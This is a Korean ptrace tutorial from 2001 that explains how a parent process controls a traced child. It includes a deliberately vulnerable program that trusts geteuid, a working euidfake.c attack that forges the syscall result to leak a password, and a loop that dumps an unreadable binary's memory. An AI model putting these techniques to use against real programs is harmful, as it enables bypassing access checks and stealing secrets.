======================================================== "Ptrace and Controlling the child process" , 2001/4/25 TrueFinder, seo@igrus.inha.ac.kr ======================================================== 2.2.19 이하 kernel에 대한 ptrace버그가 공개되면서 ptrace에 대한 관심이 높아졌다. 본 문서에서는 ptrace의 원리, 그에 대한 간단한 예제, 관련된 실전 해킹을 실었다. ptrace호출에 대한 원리를 파악하는 교재용 문서로 봐도 괜찮다. 0.서론 1.ptrace의 원리 2.원리에 관한 예제 3.2.장의 결과 4.재미있는 생각 5.공격의 시나리오 6.5.장의 결과 7.Improve it as your one ! 0. 서 론 --------- 한국의 우수한 해커들이 Unix환경이 뿌리부터 발전해오지 못한 문화적인 배경에 의해서 시스템 해킹의 관람자로써만 방관하게 되는 것은 참으로 안타까운 현실이다. 실로 엄청난 양의 영문 메뉴얼과 소스코드, 각기 새로운 루틴을 수행하는 특별한 프로그램들을 접하고 깊이 다루어야 하는 오늘날의 해커들에겐 그것은 어쩌면 상당한 고역이 아닐수 없다. 그러나 그럼에도 불구하고 그러한 장벽을 과감히 떨쳐내고 항상 많이 읽고 배우고, 탐구하며, 열심히 실험하는 자세만이 이 시대의 한국 해커들의 사명이 아닐까하는 생각이다. 한편, 그것을 자신들의 기술로만 익히는 것이 아니라 많은 사람이 서로 그 지식에 대해 공유하고 접하여 토론할 수 있게하는 분위기를 조성해 나아가는 것도, 그리하여 작은 아이디어 하나라도 더욱 건설적인 모습의 형태를 갖게하도록 하는 것도 그 중의 하나가 아닐까 감히 생각해 보는 바이다. 그러한 의미의 일환으로 필자가 쓰는 모든 문서들은 우리나라의 해커들의 지식에 조금이나마 도움이 되고자 하는 것이며, 다른 어떠한 악의의 목적은 없다. 또한, 다른 모든 이 바닥 사람들도 그래주길 바라는 마음이 없잖아 포함되어 있기 때문에 서론이 이렇게 길어지게 되었다... '이렇게 말해 놓고 나니, 내가 머 대단한 사람이라도 되는 듯 보인다... 헉스.' B-o - 요즘 생각하는 바가 있어 이번 문서에 간단히 이런 서론으로 글을 시작해 보았다. 서론은 그럼 이것으로 대신하고 하드 스터디 해커들에게 이 글을 읽는 동안은 부디 재미있는 시간이 되길 빈다. p.s. 다만, 이 문서는 해커들 개인적인 지식의 충족에만 쓰여 졌으면 하는 바램이며, 본 문서에서 사용되는 기술은 해커들에게 시스템에 대한 지식을,재미를 주기위한 용도이기 때문에 이것을 어떤 방식으로 쓰느냐는 그 사람의 윤리관에 달려있다는 것을 앞서 말해 두는 바이다. 1. ptrace의 원리 ----------------- ptrace는 생성된 프로세스가 어떻게 움직이며, 어떤식으로 데이타를 읽고 쓰는지, 어떤에러를 내는지 추적을 하기위해 마련된 시스템 콜이다. 이것은 주로 디버그를 위해 사용되며, 따라서 디버거는 일종의 ptrace명령어 묶음 유틸리티라고 보면 옳겠다. 프로그래머는 디버거를 통해 ptrace를 손쉽게 사용할수 있으며, 자신이 만든 프로그램이 어떻게 수행되는지 총괄적으로 관제할수 있다. 이에 대한 pseudo 알고리즘은 다음과 같다. : 추적될 프로세스를 생성후, ptrace를 호출해서 break point를 설정하거나 해제, 가상 주소공간 데이타를 읽거나 씀. if( (pid = fork()) == 0 ){ //child - traced process ptrace( 0, 0, 0, 0); exec("name of the traced process here"); } for(;;) { wait((int*) 0); read(input for tracing instuctions); ptrace(cmd, pid , ... ); if(quiting trace) break; } 1. 디버거가 child process 만들고, 2. child는 ptrace 시스템 호출, trace bit를 자신의 프로세스에 세팅한다. 3. child 프로세스는 추적될 프로그램을 exec한다. 4. 커널은 통상 exec를 수행하다가 trace bit을 발견하고, 그 프로세스에게 sigtrap을 보낸다. 5. 신호이후 신호발생여부를 자동으로 체크하는 커널이 trace bit를 발견하고, 추적 코드를 실행한다. 6. 일단 trace bit가 세트 되어있음을 확인하면, 자식 프로세스는 wait시스템 호출하고 sleep상태의 부모를 깨우게 된다.. 7. 일반적으로 부모는 자식이 깨울때까지 대기하고 있는다. 8. 사용자의 입력을 받고, 이를 ptrace명령어 호출로 치환, 프로그램을 수행한다. ptrace 시스템 호출의 구문 ptrace(cmd, pid, addr, data); + cmd 데이타 쓰기 읽기, 쓰기 ,실행, 재개 + pid 는 추적 프로세스의 id + addr은 쓰거나, 읽기의 대상이 되는 프로세스 가상 주소 + data는 쓰여질 정수값?? 9. ptrace호출이 수행되면, 커널이 디버거가 프로세스id와 상태가 트레이스인지 확인하고, 10. "전역 추적 데이타 구조"를 사용하여 두 프로세스간 데이타 교환을 한후, 11. 추적상태를 lock하고, cmd, addr, data를 이 데이터구조에 복사한다. 12. 자식프로세스를 실행준비로 한후, 자식 프로세스가 응답할때 까지 수면. 13. 자식프로세스는 커널모드에서 실행된후 결과를 "전역 추적 데이터구조"에 쓰고, 디버거를 깨운다. 2. 원리에 관한 예제 ------------------ ++ mydebug.c ++ /* * mydebug.c * * Maurice J. Bach 's source. * "THE DESIGN OF THE UNIX OPERATING SYSTEM" */ #include // PTRACE_TRACEME 0 // PTRACE_POKEDATA 5 // PTRACE_SYSCALL 7 int addr; main(int argc, char *argv[]) { int i, pid; sscanf(argv[1], "%x", &addr ); printf("Used data address: %x\n", addr); if((pid = fork()) == 0 ) { printf("child process worked\n"); ptrace(PTRACE_TRACEME, 0, 0, 0 ); execl("mytraced", "mytraced", 0); // 실행시키면서 추적상태로 들어감. } wait((int*) 0); for(i=0; i<32; i++) { printf("it works step in parent process %d\n", i); if(ptrace(PTRACE_POKEDATA, pid, addr, i) == -1 ) exit(); addr += sizeof(int); } ptrace(PTRACE_SYSCALL, pid, 1, 0); //traced 실행재게. } -- myptrace.c -- ++ mytraced.c ++ /* * mytraced * * Maurice J. Bach 's source. * "THE DESIGN OF THE UNIX OPERATING SYSTEM" */ int data[32]; main() { int i; for( i=0; i<32; i++ ) printf("data[%d] = %d\n", i, data[i] ); printf("ptrace data addr 0x%x\n", data ); } -- mytraced.c -- mytraced를 단말기에서 실행하면, data값은 0이며, 프로세스는 data와 주소를 출력한후 종료한다. traced로 부터의 매개변수(이를 테면 그 프로세스의 data주소)를 이용하여 mydebug를 실행하면, 1. child process는 ptrace(PTRACE_TRACEME,...)로 자신을 추적가능하게 설정하고, 2. exec로 실행프로그램을 수행한다. 그후 자신에게 SIGTRAP을 보내고, 자신은 추적상태로 들어간후 3. wait하던 부모프로세스를 깨워서 부모로부터의 ptrace명령을 수행한다. 4. ptrace호출들이 모두 마쳐지면, 부모는 자식을 다시 추적상태로부터 명령을 수행한다. 3. 2.장 결과 ------------------------- [root@richard concept]# make mydebug cc mydebug.c -o mydebug [root@richard concept]# ./mydebug 0x80495c0 Used data address: 80495c0 child process worked it works step in parent process 0 it works step in parent process 1 it works step in parent process 2 it works step in parent process 3 it works step in parent process 4 it works step in parent process 5 it works step in parent process 6 it works step in parent process 7 it works step in parent process 8 it works step in parent process 9 it works step in parent process 10 it works step in parent process 11 it works step in parent process 12 it works step in parent process 13 it works step in parent process 14 it works step in parent process 15 it works step in parent process 16 it works step in parent process 17 it works step in parent process 18 it works step in parent process 19 it works step in parent process 20 it works step in parent process 21 it works step in parent process 22 it works step in parent process 23 it works step in parent process 24 it works step in parent process 25 it works step in parent process 26 it works step in parent process 27 it works step in parent process 28 it works step in parent process 29 it works step in parent process 30 it works step in parent process 31 [root@richard concept]# data[0] = 0 data[1] = 1 data[2] = 2 data[3] = 3 data[4] = 4 data[5] = 5 data[6] = 6 data[7] = 7 data[8] = 8 data[9] = 9 data[10] = 10 data[11] = 11 data[12] = 12 data[13] = 13 data[14] = 14 data[15] = 15 data[16] = 16 data[17] = 17 data[18] = 18 data[19] = 19 data[20] = 20 data[21] = 21 data[22] = 22 data[23] = 23 data[24] = 24 data[25] = 25 data[26] = 26 data[27] = 27 data[28] = 28 data[29] = 29 data[30] = 30 data[31] = 31 ptrace data addr 0x80495c0 : 위에서 우리가 확인할 수 있는 것은 부모 프로세스가 invoke된 자식 프로세스를 통제 할 수 있다는 사실이다. 조작의 대상의 되는 것은 그 프로세스가 가진 variables등의 메모리 core와 registers들이다. ptrace 명령어들은 , 이러한 것들을 읽고 쓰고 할 수 있음으로 해서 그 프로세스에 대한 전체적인 control flow도 조작해 낼수 있다는 것이다. 4. 재미있는 생각 --------------- 어떤 프로그램이 특별한 권한 비트가 없는채 어떤 유용한 정보를 가지고 있다면, 또 그프로그램이 geteuid를 통해 사용자에 대한 신뢰를 한다면, 우리는 먼가를 해볼수도 있지 않을까... 취약한 프로그램은 다음과 같다. ++ vulnerable.c ++ /* * vulnerable.c * * TrueFinder, seo@igrus.inha.ac.kr * */ main() { char *passwd = "criminal is a gold broker"; int euid; euid = geteuid(); if( euid == 0 ){ printf("You Are Operater !\n"); printf("Password is %s\n", passwd); exit(); } printf("You Are User %d\n", pid ); } -- vulnerable.c -- 만약 어떤 프로그램이 일정한 유저에 한해 특정한 뭔가를 보여주는 프로그램이라고 했을때, 위와 같이 ( root euid(0)의 경우 "criminal is gold broker" 라는 패스워드 문자열을 보여준다. )... 우리는 위 프로그램을 추적하면서 geteuid에 의해 세팅되는 우리의 euid를 치환하여 이러한 루틴의 프로그램을 특정 권한의 정보를 흘리는 flow로 충분히 우회할 수 있지 않을까하는 생각에 도달한다. 어차피 실행되는 프로세스는 내가 충분히 맘대로 조작할수 있는 내 자식(child) 프로세스이기때문에 그러한 생각은 실현 가능하다... 5. 공격의 시나리오 ------------------ 만약 그 프로그램이 읽기 가능한 프로그램이었다면, 그 프로그램의 심볼을 읽어 낼수 있기때문에 우리의 친숙한 유틸리티 gdb를 통해 디버그 할수 있다. :) 아래 예에서는 geteuid란 프로그램의 수행 레지스터를 바꿔 euid를 우회하는 디버깅을 할것이다. 손과 눈으로 즐겨보자. [seo@richard improve]$ ./geteuid geteuid = 500 [seo@richard improve]$ gdb geteuid GNU gdb 4.17.0.11 with Linux support Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) l 1 main() 2 { 3 int pid; 4 pid = geteuid(); 5 printf("geteuid = %d\n", pid); 6 } (gdb) disass main Dump of assembler code for function main: 0x8048198
: pushl %ebp 0x8048199 : movl %esp,%ebp 0x804819b : subl $0x4,%esp 0x804819e : call 0x804bb30 <__geteuid> 0x80481a3 : movl %eax,%eax 0x80481a5 : movl %eax,0xfffffffc(%ebp) 0x80481a8 : movl 0xfffffffc(%ebp),%eax 0x80481ab : pushl %eax 0x80481ac : pushl $0x8070588 0x80481b1 : call 0x80483fc 0x80481b6 : addl $0x8,%esp 0x80481b9 : leave 0x80481ba : ret End of assembler dump. (gdb) disass __geteuid Dump of assembler code for function __geteuid: 0x804bb30 <__geteuid>: movl $0x31,%eax 0x804bb35 <__geteuid+5>: int $0x80 0x804bb37 <__geteuid+7>: cmpl $0xfffff001,%eax 0x804bb3c <__geteuid+12>: jae 0x804be40 <__syscall_error> 0x804bb42 <__geteuid+18>: ret End of assembler dump. (gdb) b *__geteuid+18 Breakpoint 1 at 0x804bb42 (gdb) r Starting program: /root/ptrace/improve/geteuid Breakpoint 1, 0x804bb42 in __geteuid () (gdb) info reg eax: 0x1f4 500 ecx: 0x0 0 edx: 0xbfff037f -1073806465 ebx: 0xbffffabc -1073743172 esp: 0xbffffa44 -1073743292 ebp: 0xbffffa50 -1073743280 esi: 0x0 0 edi: 0x1 1 eip: 0x804bb42 134527810 eflags: 0x207 IOPL: 0; flags: CF PF IF orig_eax: 0xffffffff -1 cs: 0x23 35 ss: 0x2b 43 ds: 0x2b 43 es: 0x2b 43 fs: 0x0 0 gs: 0x0 0 (gdb) set $eax = 0 (gdb) info reg eax: 0x0 0 ecx: 0x0 0 edx: 0xbfff037f -1073806465 ebx: 0xbffffabc -1073743172 esp: 0xbffffa44 -1073743292 ebp: 0xbffffa50 -1073743280 esi: 0x0 0 edi: 0x1 1 eip: 0x804bb42 134527810 eflags: 0x207 IOPL: 0; flags: CF PF IF orig_eax: 0xffffffff -1 cs: 0x23 35 ss: 0x2b 43 ds: 0x2b 43 es: 0x2b 43 fs: 0x0 0 gs: 0x0 0 (gdb) c Continuing. Breakpoint 1, 0x804bb42 in __geteuid () (gdb) info reg eax: 0x1f4 500 ecx: 0x0 0 edx: 0x8048198 134513048 ebx: 0xbffffab4 -1073743180 esp: 0xbffffa5c -1073743268 ebp: 0xbffffa64 -1073743260 esi: 0x1 1 edi: 0x807054c 134677836 eip: 0x804bb42 134527810 eflags: 0x207 IOPL: 0; flags: CF PF IF orig_eax: 0xffffffff -1 cs: 0x23 35 ss: 0x2b 43 ds: 0x2b 43 es: 0x2b 43 fs: 0x0 0 gs: 0x0 0 (gdb) set $eax = 0 (gdb) info reg eax: 0x0 0 ecx: 0x0 0 edx: 0x8048198 134513048 ebx: 0xbffffab4 -1073743180 esp: 0xbffffa5c -1073743268 ebp: 0xbffffa64 -1073743260 esi: 0x1 1 edi: 0x807054c 134677836 eip: 0x804bb42 134527810 eflags: 0x207 IOPL: 0; flags: CF PF IF orig_eax: 0xffffffff -1 cs: 0x23 35 ss: 0x2b 43 ds: 0x2b 43 es: 0x2b 43 fs: 0x0 0 gs: 0x0 0 (gdb) c Continuing. geteuid = 0 Program exited with code 014. (gdb) 프로그래머들의 일반적인 gdb사용법으로 geteuid를 사용하는 프로그램을 간단히 건드려 봤다. 우리의 읽기 가능한 어린 프로세스는 gdb의 명령에 순순히 복종하는 듯 보인다. 참 착하지 아니한가... 그러나, 우리의 관점은 읽기권한이 없는 단순히 실행만 가능한 프로그램에 주목해 있다. 일반적으로 읽기만 가능한 프로그램은 gdb에 편리한 추적이 불가능하다. 우리의 gdb는 read permission이 있는 프로그램에 한해 추적을 수행한다. 그렇지 않으면 간단히 "허가 거부됨" 메세지를 출력할 것이다. :( 하지만 그럼에도 불구하고, 우리는 실행되는 프로세스가 우리의 관제하의 프로세스이므로 어떻게 해볼 수는 있다. 읽기권한이 없는 프로그램에 대한 "허가거부"는 ptrace묶음 유틸인 gdb에 한해 국한되는 문제이며, 이를 극복하기 위해 우리는 직접 ptrace() 를 호출해 사용해야만 한다. 어차피 invoked child (실행된 프로그램의 core )는 우리의 통솔하에 있다는 사실을 인지 할때, 결코 뒷걸음 칠 필요는 없다. 자 그럼, 우리의 공격을 시작하기 전에 어떻게 공격을 시작할 것인가에 대한 고찰을 먼저 해보도록 하자. [seo@richard improve]$ gcc -o geteuid geteuid.c -g -static [seo@richard improve]$ gdb geteuid GNU gdb 4.17.0.11 with Linux support Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) l 1 main() 2 { 3 int pid; 4 pid = geteuid(); 5 printf("geteuid = %d\n", pid); 6 } (gdb) disass main Dump of assembler code for function main: 0x8048198
: pushl %ebp 0x8048199 : movl %esp,%ebp 0x804819b : subl $0x4,%esp 0x804819e : call 0x804bb30 <__geteuid> 0x80481a3 : movl %eax,%eax 0x80481a5 : movl %eax,0xfffffffc(%ebp) 0x80481a8 : movl 0xfffffffc(%ebp),%eax 0x80481ab : pushl %eax 0x80481ac : pushl $0x8070588 0x80481b1 : call 0x80483fc 0x80481b6 : addl $0x8,%esp 0x80481b9 : leave 0x80481ba : ret End of assembler dump. (gdb) disass __geteuid Dump of assembler code for function __geteuid: 0x804bb30 <__geteuid>: movl $0x31,%eax 0x804bb35 <__geteuid+5>: int $0x80 0x804bb37 <__geteuid+7>: cmpl $0xfffff001,%eax 0x804bb3c <__geteuid+12>: jae 0x804be40 <__syscall_error> 0x804bb42 <__geteuid+18>: ret End of assembler dump. 위의 결과를 볼때, 공격의 시나리오는 다음과 같다. geteuid를 수행하는 특정한 시점에서 우리의 euid를 우리가 원하는 값으로 바꾸어 실행 되는 프로그램을 공격하려면, 다음과 같은 사실에 주목해야 한다. geteuid는 linux상의 시스템콜이고, 특정한 인터럽트 번호를 갖기때문에 우리의 geteuid의 ISR2(interrupt service routine step 2)의 요청값은 0x31이 된다는 것을 알수 있다. 그리고, 그 결과값을 %eax에 넣어 반환한다는 사실도 찾아 볼수 있다. 따라서, 공격의 핵심은 바로 trace중에 %eax값을 0x31과 비교하여 그 시점에서 %eax를 치환 한다는 것으로 결론 지워진다. 그러기 위해 공격프로그램은 vulnerable을 자식 프로세스로 띄워놓고 instruction단위로 계속 추적을 해야 한다. (왜냐하면 심볼들을 읽을수 없기 때문이다. ) 위에서는 0x804bb30이 우리가 우리의 작업을 실행해야 할 시점이 되겠다. "int $0x80" 후에는 우리의 레지스터 %eax에 그 프로세스의 euid에 해당하는 값이 들어가 있을 것이다. 그때 그 eax를 우리가 원하는 값으로 바꿔주면 우리는 euid를 fake할 수 있다. 아래의 소스는 gdb를 쓰지않고 실행될 자식을 트레이스하면서 공격을 감행할 소스이다. 참고하자. ++ euidfake.c ++ /* * euidfake.c * * Modified by TrueFinder, seo@igrus.inha.ac.kr * :specially thanx to TEC team. * */ #include #include #include main() { int pid, fake_euid = 0, p, status; long data; int i; int value; struct pt_regs regs; if( ! (pid = fork()) ){ //child ptrace(PTRACE_TRACEME, 0, 1, 0 ); execl( "vulnerable", "working", 0 ); exit(0); } //parent printf("ptrace start : pid = %d, fake_euid = %d\n" , pid , fake_euid); sleep(1); ptrace(PTRACE_SYSCALL, pid, 1, 0); while(1){ p = wait(&status); if ( WIFEXITED(status) ) { printf("child exit()\n"); exit(1); } if ( WIFSIGNALED(status) ) { printf("child exit(), cuz of siganl\n"); exit(1); } //evil start regs.orig_eax = ptrace(PTRACE_PEEKUSR, pid, ORIG_EAX*4, 0); regs.eip = ptrace(PTRACE_PEEKUSR, pid, EIP*4, 0); regs.eax = ptrace(PTRACE_PEEKUSR, pid, EAX*4, 0); printf("orig_eax(%#10x), eip(%#10x), eax(%#10x)\n", regs.orig_eax, regs.eip, regs.eax); if( regs.orig_eax == 0x31 && regs.eax == geteuid() ) ptrace(PTRACE_POKEUSR, pid, EAX*4, fake_euid ); //evil end ptrace(PTRACE_SYSCALL, pid, 1, 0 ); // if not, trace again.... } } -- euidfake.c -- 6. 5.의 실행 결과. ------------------ [seo@richard improve]$ ./vulnerable You Are User 500 [seo@richard improve]$ ./euidfake ptrace start : pid = 6624, fake_euid = 0 You Are Operater ! Password is criminal is a gold broker child exit() [seo@richard improve]$ 빙고! 우리는 지금 읽기 불가능한 debug가 허용되지 않는 특정한 프로그램으로 부터 euid =0 로 바꿔서 Operater의 패스워드를 얻어 내었다. 재미있지 않은가. 그러면 여기서 미소를 한번 지어주고 다음장으로 넘어 가자. 7. 참고 -------- ++ /usr/src/linux/include/sam/ptrace.h ++ #ifndef _I386_PTRACE_H #define _I386_PTRACE_H #define EBX 0 #define ECX 1 #define EDX 2 #define ESI 3 #define EDI 4 #define EBP 5 #define EAX 6 #define DS 7 #define ES 8 #define FS 9 #define GS 10 #define ORIG_EAX 11 #define EIP 12 #define CS 13 #define EFL 14 #define UESP 15 #define SS 16 /* this struct defines the way the registers are stored on the stack during a system call. */ struct pt_regs { long ebx; long ecx; long edx; long esi; long edi; long ebp; long eax; int xds; int xes; long orig_eax; long eip; int xcs; long eflags; long esp; int xss; }; /* Arbitrarily choose the same ptrace numbers as used by the Sparc code. */ #define PTRACE_GETREGS 12 #define PTRACE_SETREGS 13 #define PTRACE_GETFPREGS 14 #define PTRACE_SETFPREGS 15 #ifdef __KERNEL__ #define user_mode(regs) ((VM_MASK & (regs)->eflags) || (3 & (regs)->xcs)) #define instruction_pointer(regs) ((regs)->eip) extern void show_regs(struct pt_regs *); #endif #endif -- /usr/src/linux/asm/i386/ptrace.h -- 위 화일은 ptrace에 관한 정의가 담겨있는 헤더화일이다. 친절한 필자가 사뿐히 첨부해 본다. 8. Improve it as Your one ! -------------------------- 그렇다면 getegid는 어떠한가 ? getegid()를 해킹해 보자. 그것도 이런식의 공격으로 해킹할수 있을까... 우선 getegid의 움직임을 gdb로 살펴보자. [seo@richard improve]$ gcc -o getegid getegid.c -g -static [seo@richard improve]$ gdb getegid GNU gdb 4.17.0.11 with Linux support Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) l 1 main() 2 { 3 int egid; 4 egid = getegid(); 5 printf("getegid = %d\n", getegid() ); 6 } 7 (gdb) disass getegid Dump of assembler code for function __getegid: 0x804bb30 <__getegid>: movl $0x32,%eax 0x804bb35 <__getegid+5>: int $0x80 0x804bb37 <__getegid+7>: cmpl $0xfffff001,%eax 0x804bb3c <__getegid+12>: jae 0x804be40 <__syscall_error> 0x804bb42 <__getegid+18>: ret End of assembler dump. (gdb) 우리의 공격시점은 int를 호출하는 전 시점이다. 즉 0x32의 ISR2가 호출되는 시점에 register의 동작들을 확인 할수 있다면, 이것은 getegid를 해킹하는데에 중요한 단서가 된다. 이것은 각자의 손에 맡기겠다. euidfake.c에서 서비스루틴 번호만 바꿔주면 된다. :요렇게 0x31 -> 0x32 다른 우리의 자식 프로세스로 실행되어 호출될 system call의 해킹도 각 루틴들이 움직이는 레지스터의 동햐을 파악함으로써 충분히 가능하다. 그러나 아직 많은 개선, 많은 토론의 여지가 남아 있다. 허나 분명한 것은 이것은 이제 어떤 권한과 관련한 일반실행권한 프로그램들은 더이상 전혀 안전하지 않다는 것을 시사한다. 각자 궁금한 프로그램을 core상태에서 요리해 보자. "그것은 우리 hard study hackers들에게 맡기겠다." 이제 이것은 나의 멘트가 되어 버렸다. ;) '나는 왜 이렇게 게으른 걸까.' 아무튼 나는 이런식의 해킹이 이루어 질수 있다는 것을 보였다. 그게 문서의 결론이다. 어떤 실제 프로그램에 적용되는지 실험해보고, 나에게도 그 실제의 예를 보여달라. 기꺼이 토론에 응해줄 것이다. B-) 한가지 더 사족한다면, 일반적인 ELF가 0x8048000에서 시작한다고 할때, 우리는 이 프로그램 전체를 덤프해 볼수도 있다. for(i=0x8048000; i < x ; i++ ) { ptrace(PTRACE_PEEKDATA, child_pid, i, 0) ; } 어떠한가. 이를 화일로 저장하면 우리는 dump를 한 경우와 마찮가지의 결과를 얻을수 있다. very happy. 이로써 우리는 시스템의 read권한을 무참히 짓밟아 버린셈이다.??? 다른 사족을 더 첨가하자면... suid프로그램의 경우는. 사용자가 trace를 할수는 있으나 시스템의 권한과 관련된 system call은 operation이 금지된다. 당연한 것이 child process가 부모와 다른 권한을 갖는 또하나의 독립적인 core이기 때문이다. 다른 권한을 갖는 프로세스를 침범하는 것은 OS의 구조상 용남되지 않는 일이다. 이전 버젼의 kernel은 2.2.19이하 버젼. 유저가 suid 프로그램을 parent에 attach하게 방관했었다. 그래서 발생시킨 초유의 문제를 2.4.x와 2.2.19버젼에서 패치했다. 따라서 현재는 suid프로그램을 ptrace로 해킹할 방법의 여지는 없어진 셈이다. 그 마찮가지 이런한 메쏘드를 활용한 예라 하겠다. 내가 잘못 알고 있다면 메일을 달라 ?! 후후. 머리가 띵한 상태에서 문서를 작성하였기에 글이 매끄럽지 못하다. 그에 대한 독자의 용서를 구한다. 다만, 독자들이 이글을 잘 참고해서 자신의 지식으로 쌓았으면 그것으로 필자는 충분히 기쁘다. 그럼 부디 우리 hard study 해커들에게 무궁한 영광이 있기를 빌며 이 졸문을 여기서 마치려 한다. *** Especially thanks to TECH team and kids. "Jedi uses the force for knowledge , not for attack" EOF